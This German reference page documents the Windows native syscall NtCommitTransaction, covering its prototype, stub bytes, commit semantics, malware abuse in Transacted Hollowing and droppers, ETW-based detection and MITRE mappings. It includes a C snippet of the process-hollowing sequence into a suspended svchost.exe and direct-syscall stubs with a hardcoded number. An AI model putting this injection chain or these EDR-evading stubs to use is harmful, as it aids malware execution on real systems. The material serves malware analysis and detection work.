NtCommitTransaction

Prototyp

NTSTATUS NtCommitTransaction(
  HANDLE  TransactionHandle,
  BOOLEAN Wait
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 9D 00 00 00      mov eax, 0x9D      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Treibt das Two-Phase-Commit-Protokoll über alle in der Transaktion enrollten Resource Manager (typischerweise nur TxF). Bei `Wait = TRUE` kehrt der Aufruf erst zurück, wenn das CLFS-Log den Commit-Record geflusht hat — ab dann sind die Änderungen crash-konsistent. Bei `Wait = FALSE` ist der Rückgabewert `STATUS_PENDING` und der Aufrufer kann auf das Transaction-Handle warten.

Häufige Malware-Nutzung

Im **Transacted Hollowing** (von Hasherezade & enSilo dokumentierter Verwandter des Doppelgänging) ersetzt `NtCommitTransaction` am Ende der Kette das `NtRollbackTransaction`: die bösartigen Bytes verbleiben *auf der Platte* unter unauffälligem Namen und werden anschließend per Process-Hollowing in ein legitimes Ziel injiziert. Manche Dropper nutzen die Technik außerdem, um eine Kette von Dateien (DLL + INI + Scheduled-Task-XML) atomar auszutauschen, sodass ein EDR-Scanner keinen inkonsistenten Zwischenzustand erfasst. Für strenges enSilo-Doppelgänging wird der Commit *nicht* aufgerufen — Verteidiger sollten aber jeden Commit einer kürzlich geschriebenen ausführbaren Datei als verdächtig betrachten, vor allem wenn der Schreiber nicht der Standard-Installer-Prozess ist.

Erkennungs­möglichkeiten

Das ETW-Event `Microsoft-Windows-Kernel-File` ID 30 enthält `TransactionToken` und `FileObject`; durch Korrelation des Commits mit den vorausgegangenen `NtWriteFile`-Events derselben Transaktion lassen sich die committeten Bytes rekonstruieren. EDRs, die pro Transaktion einen Shadow-Buffer halten, können das Payload zum Commit-Zeitpunkt hashen und an einen Reputation-Service melden. Sysmon Event 11 (FileCreate) feuert beim *ersten* Schreibvorgang der transaktionalen Datei, nicht beim Commit — Commit-Erkennung erfordert daher den ETW-Pfad.

Direkte Syscall-Beispiele

// Transacted Hollowing variant: commit, then hollow.
NTSTATUS s = NtCommitTransaction(hTransaction, /*Wait=*/ TRUE);
if (!NT_SUCCESS(s)) return s;

// Section now backed by committed payload on disk.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
                PAGE_READONLY, SEC_IMAGE, hTransactedFile);

// Map the section into a suspended target and patch entry point.
CreateProcessW(L"C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtUnmapViewOfSection(pi.hProcess, baseAddr);
NtMapViewOfSection(hSection, pi.hProcess, &newBase, 0, 0, NULL,
                   &viewSize, ViewShare, 0, PAGE_EXECUTE_READ);
ResumeThread(pi.hThread);

; NtCommitTransaction direct stub — SSN 0x9D on Win11 24H2
NtCommitTransaction PROC
    mov  r10, rcx
    mov  eax, 9Dh
    syscall
    ret
NtCommitTransaction ENDP

use ntapi::ntxcapi::NtCommitTransaction;
use winapi::shared::ntdef::{HANDLE, TRUE as NT_TRUE};

unsafe fn commit(tx: HANDLE) {
    let status = NtCommitTransaction(tx, NT_TRUE as _);
    assert!(status >= 0, "commit failed: 0x{:X}", status);
}

MITRE ATT&CK-Mappings

• T1055.013Process Doppelgängingmitre ↗
• T1055.012Process Hollowingmitre ↗
• T1106Native APImitre ↗